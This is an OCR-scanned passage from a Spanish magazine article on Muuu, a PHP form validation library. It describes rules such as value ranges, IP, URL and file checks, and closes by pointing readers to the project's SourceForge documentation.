no de los siguientes caracteres:

() ./ *"24#'1e@s$s+=,""
><~[1 {1}

notbeginwith: No puede comenzar con
un caracter en particular. Dicho caracter lo
debemos definir en el array Soptions bajo
el nombre de notbegin.

maxvalue : El valor ingresado por el usua-
rio no puede ser mayor al definido bajo el
nombre de maxvalue en el array $options
de la regla.

minvalue: El valor ingresado por el usua-
rio no puede ser menor al definido bajo el
nombre de minvalue en el array $options
de la regla.

rangevalue: El valor ingresado por el
usuario debe estar en el rango indicado
por los valores minvalue y maxvalue del
array Soptions de laregla.
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Figura 5. Formulario antes y después de envio,
indicando avisos en casos de error

*  boolean: Si el valor ingresado es 1, true,
on 0 yes, sera valido.

e float: El valor debe ser un ntimero de pun-
to flotante.

e integer: El valor debe ser un entero.

e ip: El valor debe ser un IP con formato
valido.

* url: El valor ingresado deber tener un for-
mato de URL valido.

* uploadedfile: El campo debe contener un
archivo que subi6 correctamente.

e filename: El nombre del archivo debe
coincidir con el definido en el array $op-
tions bajo el nombre name.

e filetype: El tipo del archivo debe coinci-
dir con el definido en el array $options
bajo el nombre type.

e filesize: El tamafio del archivo debe coin-
cidir con el definido en el array $options
bajo el nombre size.

e date: El valor ingresado debe contener
una fecha con formato valido.

Conclusion

La idea principal de este articulo ha sido pre-
sentarte una manera simple para generar,
validar y filtrar formularios en php. Si bien
se han abordado varias de las principales
funcionalidades de Muuu, puedes encontrar
un mayor detalle en la documentacion exis-
tente en el sitio del proyecto: http://muuu.
sourceforge.net.

Por tltimo, cualquier idea, pregunta, co-
mentario, sugerencia y/o modificacion al codi-
go de Muuu es bienvenida y se agradece. Suerte
en todos tus proyectos. &
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